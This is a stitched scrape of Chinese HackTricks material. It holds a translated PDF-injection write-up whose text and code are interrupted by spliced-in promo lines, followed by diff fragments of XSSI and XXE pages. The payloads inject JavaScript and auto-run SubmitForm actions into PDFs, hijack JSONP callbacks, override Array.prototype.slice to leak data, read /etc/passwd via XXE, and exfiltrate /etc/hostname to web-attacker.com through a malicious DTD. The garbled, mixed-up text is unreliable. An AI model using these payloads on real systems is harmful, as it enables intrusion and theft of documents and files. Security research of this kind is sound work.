这次,我使用了 [PDFLib](https://pdf-lib.js.org)。我花了一些时间使用这个库来创建一个注释并看看我是否可以注入一个闭合括号到注释的URI中 - 它奏效了!我用来生成注释代码的示例易受攻击的代码是: <details>
`...` \ <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
`A: {`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`...`
[完整代码:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js) 支持HackTricks的其他方式
我怎么知道注入成功了除非我注入了一个闭合括号否则PDF会正确渲染。这证明了闭合括号打破了字符串边界导致PDF代码无效。破坏PDF很好但我需要确保我可以执行JavaScript。我查看了渲染的PDF代码注意到输出使用FlateDecode过滤器进行编码。我写了一个小脚本来解压缩块注释部分的输出看起来像这样`<<`\ * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
`/Type /Annot`\ * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
`/Subtype /Link`\ * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
`/Rect [ 50 746.89 320 711.89 ]`\ * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
`/Border [ 0 0 2 ]`\ * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
`/C [ 0 0 1 ]`\
`/A <<`\
`/Type /Action`\
`/S /URI`\
`/URI (injection))`\
`>>`\
`>>`
正如您可以清楚地看到注入字符串用一个闭合括号关闭了文本边界这留下了一个现有的闭合括号导致PDF渲染不正确 </details>
![加载PDF时显示错误对话框的屏幕截图](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
太好了所以我可以破坏PDF的渲染那么接下来呢我需要想出一个调用JavaScript的注入 - PDF注入的alert(1)。
就像XSS向量取决于浏览器的解析一样PDF注入的可利用性也可能取决于PDF渲染器。我决定首先针对Acrobat因为我认为向量在Chrome中不太可能起作用。我注意到两件事1您可以注入额外的注释动作和2如果您修复现有的闭合括号那么PDF将会渲染。经过一些实验我想出了一个很好的有效载荷它注入了一个额外的注释动作执行了JavaScript并修复了闭合括号`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
首先我打破了括号,然后使用>>打破了字典,然后开始一个新的注释字典。/S/JavaScript使注释基于JavaScript/JS是存储JavaScript的地方。括号内是我们的实际JavaScript。注意如果括号是平衡的你不必转义它们。最后我添加了注释的类型完成了字典并修复了闭合括号。这太酷了我可以制作一个执行JavaScript的注入但那又怎样呢你可以执行JavaScript但你无法访问DOM所以你不能读取cookies。然后James出现了并建议从注入中窃取PDF的内容。我开始寻找获取PDF内容的方法。在Acrobat中我发现你可以使用JavaScript提交表单而不需要任何用户互动查看JavaScript API的规范修改基础注入并添加一些JavaScript这些JavaScript将把整个PDF代码的内容通过POST请求发送到外部服务器是相当简单的`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
`this.submitForm({`\
`cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))`\
`/Type/Action>>/>>(`
不需要警报我只是添加它来证明注入正在执行JavaScript。
接下来只是为了好玩我看了看不使用JavaScript窃取PDF内容。从PDF规范中我发现你可以使用一个名为SubmitForm的动作。我过去在Burp Suite中构建PDF进行扫描检查时使用过它。它确切地做了名字所暗示的事情。它还在字典中有一个Flags条目来控制提交的内容。Flags字典键接受一个整数值但每个单独的设置都由一个二进制位控制。使用ES6中的新二进制文字处理这些设置是一个好方法。二进制文字应该是14位长因为总共有14个标志。在以下示例中所有设置都被禁用`0b00000000000000`
要设置一个标志,你首先需要查找它的位位置([PDF规范](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf)的表237。在这种情况下我们想要设置SubmitPDF标志。由于这是由第9位控制的你只需要从右边数9位`0b00000100000000`
如果你用JavaScript评估这个结果是十进制值256。换句话说将Flags条目设置为256将启用SubmitPDF标志这将导致提交表单时发送PDF的内容。我们所需要做的就是使用我们之前创建的基础注入并修改它来调用SubmitForm动作而不是JavaScript`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
`https://your-id.burpcollaborator.net)`\
`/Type/Action>>/>>(`
## sPDF
接下来我将我的方法应用到另一个PDF库 - [jsPDF](https://parall.ax/products/jspdf) - 并发现它也是易受攻击的。利用这个库很有趣因为他们有一个可以在浏览器中执行的API允许你实时生成PDF当你输入时。我注意到像PDP-Lib库一样他们忘记了在注释URLs内部转义括号。这里的url属性是易受攻击的`doc.createAnnotation({bounds:`\
`{x:0,y:10,w:200,h:200},`\
``type:'link',url:`/input`});``\
`//vulnerable`
所以我使用他们的API生成了一个PDF并将PDF代码注入到url属性中
`var doc = new jsPDF();`\
`doc.text(20, 20, 'Hello world!');`\
`doc.addPage('a6','l');`\
`doc.createAnnotation({bounds:`\
`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\
`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(`\
`` `}); ``
我通过移除字典的类型条目和不需要的F条目来缩减向量。然后我留下了一个悬空的括号它会被现有的括号关闭。减少注入的大小很重要因为你注入的web应用程序可能只允许有限数量的字符。`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
然后我发现可以进一步减少向量Acrobat将允许在一个注释动作中有一个URI和一个JavaScript条目并且会愉快地执行JavaScript`/)/S/JavaScript/JS(app.alert(1)`
进一步的研究揭示你还可以注入多个注释。这意味着你可以打破注释并定义自己的rect坐标选择文档的哪个部分是可点击的。使用这种技术我能够使整个文档可点击。 `/) >> >>`\
`<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0`\
`0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net`
## Executing annotations without interaction
到目前为止我展示的向量需要点击来激活注释中的动作。通常James问了一个问题“我们可以自动执行吗”。我查阅了PDF规范注意到注释的一些有趣特性
"**PV** 和 **PI** 条目允许区分打开的页面和可见的页面。在任何时候,查看器应用程序中只有一个页面被认为是打开的,而根据页面布局,可能有多个页面是可见的。"
我们可以向字典添加PV条目注释将在Acrobat中自动触发不仅如此我们还可以在PDF文档关闭时自动执行有效载荷使用PC条目。攻击者可以追踪你何时打开PDF并关闭它。
以下是如何从注释中自动执行:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\
`>> >>`\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Auto execute');`
当你关闭PDF时这个注释会触发`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Close me');`
## Chrome
我已经谈了很多关于Acrobat的内容但PDFiumChrome的PDF阅读器Chrome很棘手它的攻击面更小因为它的JavaScript支持比Acrobat的更有限。我首先注意到的是注释中根本没有执行JavaScript所以我的概念验证不起作用。为了让向量在Chrome中起作用我至少需要在注释中执行JavaScript。不过我首先决定尝试覆盖注释中的URL。这很容易。我可以使用我之前想出的基础注入并简单地注入另一个带有URI条目的动作这将覆盖现有的URL`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)``\
``/Type/Action>>/F 0>>(`});``\
`doc.text(20, 20, 'Test text');`
这将在点击时导航到portswigger.net。然后我继续尝试不同的注入来调用JavaScript但每次都会失败。我认为这是不可能的。我退后一步尝试手动构造一个完整的PDF它将在Chrome中从点击调用JavaScript而不是注入。当使用AcroForm按钮时Chrome将允许JavaScript执行但问题是它需要引用PDF的部分。我设法制作了一个注入它将在JSPDF上从点击执行JavaScript`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});``\
`doc.text(20, 20, 'Click me test');`
正如您所看到的上面的向量需要了解PDF结构。 \[ 3 0 R] 指的是一个特定的PDF对象如果我们正在进行盲目的PDF注入攻击我们不会知道它的结构。不过下一步是尝试表单提交。我们可以使用submitForm函数来实现这一点因为注释需要点击Chrome将允许它`) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah`
这有效但很混乱并且需要了解PDF结构。我们可以大大减少它并去除对PDF结构的依赖`#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/

View file

@ -1,51 +1,48 @@
# XSSI (跨站脚本包含) # XSSI(跨站脚本包含)
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) - 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family) - 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
#### 信息取自 [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
## 基本信息 ## 基本信息
XSSI 指的是一种漏洞,它利用了这样一个事实:当使用 `script` 标签包含资源时SOP同源策略不适用因为脚本必须能够跨域包含。因此攻击者可以**读取**使用 **`script` 标签**包含的所有内容。 XSSI指的是一种利用事实的漏洞,即当使用`script`标签包含资源时SOP不适用因为脚本必须能够跨域包含。攻击者因此可以通过**`script`标签**读取包含的所有内容。
当涉及到动态 JavaScript 或 JSONP 时,这一点尤其有趣,因为所谓的环境权限信息(如 cookies用于认证。请求来自不同主机的资源时会包含 cookies 当涉及动态JavaScript或JSONP时特别是在使用像cookie这样的环境授权信息进行身份验证时这一点尤为有趣。当从不同主机请求资源时cookie会被包含在内
### 类型 ### 类型
1. 静态 JavaScript常规 XSSI 1. 静态JavaScript常规XSSI
2. 只有在认证后才能访问的静态 JavaScript 2. 只有在经过身份验证时才能访问的静态JavaScript
3. 动态 JavaScript 3. 动态JavaScript
4. 非 JavaScript 4. 非JavaScript
## 常规 XSSI **以下信息是[https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)的摘要**。请查看以获取更多详细信息。
私有信息位于全局可访问的 JS 文件中,您可以通过阅读文件、搜索关键词或使用正则表达式来检测这一点。\
要利用这一点,只需在恶意内容中包含带有私有信息的脚本: ### 常规XSSI
```markup 在这种方法中私人信息被嵌入到一个全局可访问的JavaScript文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦定位到包含私人信息的脚本就可以将其包含在恶意内容中从而未经授权地访问敏感数据。下面是一个示例利用技术
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script> <script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script> <script> alert(JSON.stringify(confidential_keys[0])); </script>
``` ```
## 动态JavaScript基础的XSSI和认证JavaScript-XSSI ### 动态基于JavaScript的XSSI和经过身份验证的JavaScript-XSSI
这些类型的XSSI攻击涉及将机密信息动态添加到响应用户请求的脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同可能表明存在机密信息。可以使用诸如[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp扩展之类的工具来自动化此过程。
**当用户请求脚本时,会添加机密信息**。通过**带有和不带有cookies**发送请求可以很容易地发现这一点,如果检索到**不同的信息**则可能包含机密信息。要自动执行此操作您可以使用burp扩展[https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)。 如果机密数据存储在全局变量中可以利用类似于常规XSSI中使用的方法进行利用。但是如果机密数据包含在JSONP响应中攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个函数来执行JSONP响应来实现如下所示
```html
如果信息存在于全局变量中,您可以使用与前一种情况相同的代码来利用它。\
如果机密数据在JSONP响应中发送您可以覆盖执行的函数以检索信息
```markup
<script> <script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; }; var angular = function () { return 1; };
angular.callbacks = function () { return 1; }; angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) { angular.callbacks._7 = function (leaked) {
@ -54,8 +51,8 @@ alert(JSON.stringify(leaked));
</script> </script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script> <script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
``` ```
或者您也可以设置一个预先准备好的函数由JSONP响应执行
```markup ```html
<script> <script>
leak = function (leaked) { leak = function (leaked) {
alert(JSON.stringify(leaked)); alert(JSON.stringify(leaked));
@ -63,52 +60,34 @@ alert(JSON.stringify(leaked));
</script> </script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script> <script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
``` ```
如果一个变量不在全局命名空间内有时候仍然可以通过_原型篡改_来利用它。原型篡改滥用了JavaScript的设计即在解释代码时JavaScript会遍历原型链来查找被调用的属性。以下示例摘自论文[The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf),展示了如何通过重写`Array`类型的相关函数并访问`this`,一个非全局变量也可以被泄露。 对于不驻留在全局命名空间中的变量,有时可以利用*原型篡改*。该技术利用了JavaScript的设计其中代码解释涉及遍历原型链以定位调用的属性。通过覆盖某些函数如`Array`的`slice`,攻击者可以访问并泄漏非全局变量:
```javascript
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
在原始代码中,类型为 `Array``slice` 访问我们感兴趣的数据。正如前文所述,攻击者可以重写 `slice` 并窃取机密。
```javascript ```javascript
Array.prototype.slice = function(){ Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"] // leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this); sendToAttackerBackend(this);
}; };
``` ```
安全研究员 [Sebastian Lekies](https://twitter.com/slekies) 最近更新了他的 [向量](http://sebastian-lekies.de/leak/) 列表。 进一步的攻击向量细节可以在安全研究人员[Sebastian Lekies](https://twitter.com/slekies)的作品中找到,他维护着一个[vectors](http://sebastian-lekies.de/leak/)列表。
## 非脚本-XSSI ### 非脚本-XSSI
Takeshi Terada的研究介绍了另一种XSSI形式其中非脚本文件如CSV通过在`script`标签中作为源被包含而跨源泄漏。XSSI的历史实例如Jeremiah Grossman在2006年攻击读取完整的Google通讯录和Joe Walker在2007年的JSON数据泄漏突显了这些威胁的严重性。此外Gareth Heyes描述了一种攻击变体涉及UTF-7编码的JSON以逃逸JSON格式并执行脚本在某些浏览器中有效
Takeshi Terada 在他的论文 [基于标识符的XSSI攻击](https://www.mbsd.jp/Whitepaper/xssi.pdf) 中描述了另一种XSSI。他能够通过在 `script` 标签中包含CSV文件等非脚本文件作为源使用数据作为变量和函数名从而跨源泄露非脚本文件。
第一个公开记录的XSSI攻击发生在2006年。Jeremiah Grossman的博客文章 [使用GMail的高级Web攻击技术](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) 描述了一个XSSI通过覆盖 `Array` 构造函数,能够读取谷歌账户的完整通讯录。
2007年Joe Walker发表了 [人们认为JSON比实际安全](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/)。他使用相同的思路来窃取包含在 `Array` 中的JSON。
其他相关攻击是通过将UTF-7编码内容注入JSON来逃避JSON格式。这由 [Hackvertor](https://hackvertor.co.uk/public) 的作者Gareth Heyes在2011年发布的博客文章 [JSON劫持](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) 中描述。在快速测试中这在Microsoft Internet Explorer和Edge中仍然可行但在Mozilla Firefox或Google Chrome中不行。
带有UTF-7的JSON
```javascript ```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}] [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
``` ```
将 JSON 包含在攻击者的页面中
```markup ```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script> <script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
``` ```
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -8,7 +8,7 @@
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) - 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
@ -22,11 +22,11 @@ XML外部实体攻击是针对解析XML输入的应用程序的一种攻击类
### 可扩展标记语言概述 <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a> ### 可扩展标记语言概述 <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
可扩展标记语言通常简称为XML被定义为一种用于存储和传输数据的标记语言。XML采用类似HTML的树状结构由标记和数据组成与HTML不同的是XML不限制于预定义标记。这种灵活性允许使用根据其封装数据的描述性命名的标记。在历史上XML作为数据传输格式而备受推崇尤其以其对“AJAX”其中“X”代表“XML”的贡献而闻名。然而随着JSON成为首选格式XML的流行度有所下降。 可扩展标记语言XML是一种用于存储和传输数据的标记语言。XML采用类似HTML的树状结构由标签和数据组成与预定义标签不同XML具有灵活性允许使用根据其封装数据的描述性命名的标签。在历史上XML作为数据传输格式而备受推崇尤其体现在对“AJAX”首字母缩写的贡献其中“X”代表“XML”。然而随着JSON的流行XML的受欢迎程度有所下降。
### 通过实体在XML中表示数据项 <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a> ### 通过实体在XML中表示数据项 <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
在XML中实体用作表示文档中数据项的机制提供了一种替代直接插入数据的方法。XML规范包含各种内置实体。例如`&lt;`和`&gt;`用于分别表示`<`和`>`字符。由于它们在标记XML标签方面的作用这些元字符在数据中出现时通常必须使用实体来表示。 在XML中实体用作表示文档中数据项的机制提供了一种替代直接插入数据的方法。XML规范包含各种内置实体。例如`&lt;`和`&gt;`分别用于表示`<`和`>`字符。由于它们在标记XML标签方面的作用这些元字符在数据中出现时通常必须使用实体来表示。
### 定义XML元素 ### 定义XML元素
@ -38,7 +38,7 @@ XML外部实体攻击是针对解析XML输入的应用程序的一种攻击类
### 文档类型定义简介 <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a> ### 文档类型定义简介 <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
文档类型定义DTD通过提供声明来规定XML文档的结构、允许的数据类型等在XML中发挥着关键作用。`DOCTYPE`元素是可选的位于XML文档开头可以声明一个DTD。DTD可以分为“内部”完全嵌入在文档中、“外部”从外部源加载或两者结合的形式 文档类型定义DTD在XML中发挥着关键作用通过提供声明来规定XML文档的结构、允许的数据类型等。`DOCTYPE`元素是可选的位于XML文档开头可以声明一个DTD。DTD可以分为“内部”完全嵌入在文档中、“外部”从外部源加载或两者结合。
### 在XML中使用自定义实体 <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a> ### 在XML中使用自定义实体 <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
@ -76,7 +76,7 @@ XML中的外部实体是自定义实体的一个子类型其定义位于DTD
让我们尝试以不同的方式读取 `/etc/passwd` 文件。对于Windows您可以尝试读取`C:\windows\system32\drivers\etc\hosts` 让我们尝试以不同的方式读取 `/etc/passwd` 文件。对于Windows您可以尝试读取`C:\windows\system32\drivers\etc\hosts`
这种情况下请注意SYSTEM "_\*\*file:///\*\*etc/passwd_" 也可以工作。 第一个案例中请注意SYSTEM "_\*\*file:///\*\*etc/passwd_" 也可以工作。
```markup ```markup
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -88,7 +88,7 @@ XML中的外部实体是自定义实体的一个子类型其定义位于DTD
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data> <data>&example;</data>
``` ```
在这第三个案例中,请注意我们将`Element stockCheck`声明为ANY 在这第三个案例中,请注意我们将`Element stockCheck`声明为ANY
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!DOCTYPE data [
@ -102,7 +102,7 @@ XML中的外部实体是自定义实体的一个子类型其定义位于DTD
``` ```
### 目录列表 ### 目录列表
在基于**Java**的应用程序中可以通过类似以下负载的XXE来**列出目录的内容**仅请求目录而非文件): 在基于**Java**的应用程序中可以通过类似以下负载的XXE来**列出目录的内容**只请求目录而不是文件):
```markup ```markup
<!-- Root / --> <!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -126,40 +126,46 @@ XXE可能被用来滥用云中的SSRF
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
### "盲" SSRF - 通过带外数据泄露 ### "盲" SSRF - 通过外带方式泄露数据
**在这种情况下,我们将让服务器加载一个带有恶意有效负载的新DTD有效负载将通过HTTP请求发送文件内容(对于多行文件,您可以尝试通过** _**ftp://**_**进行泄露)。此说明摘自** [**Portswiggers实验室这里**](https://portswigger.net/web-security/xxe/blind)**。** **在这种情况下,我们将让服务器加载一个带有恶意载的新DTD该载将通过HTTP请求发送文件内容对于多行文件您可以尝试通过** _**ftp://**_**进行外带)。这个解释是基于** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**。**
一个用于泄露`/etc/hostname`文件内容的恶意DTD示例如下 在给定的恶意DTD中进行了一系列步骤来外带数据
```markup
### 恶意DTD示例
结构如下:
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval; %eval;
%exfiltrate; %exfiltrate;
``` ```
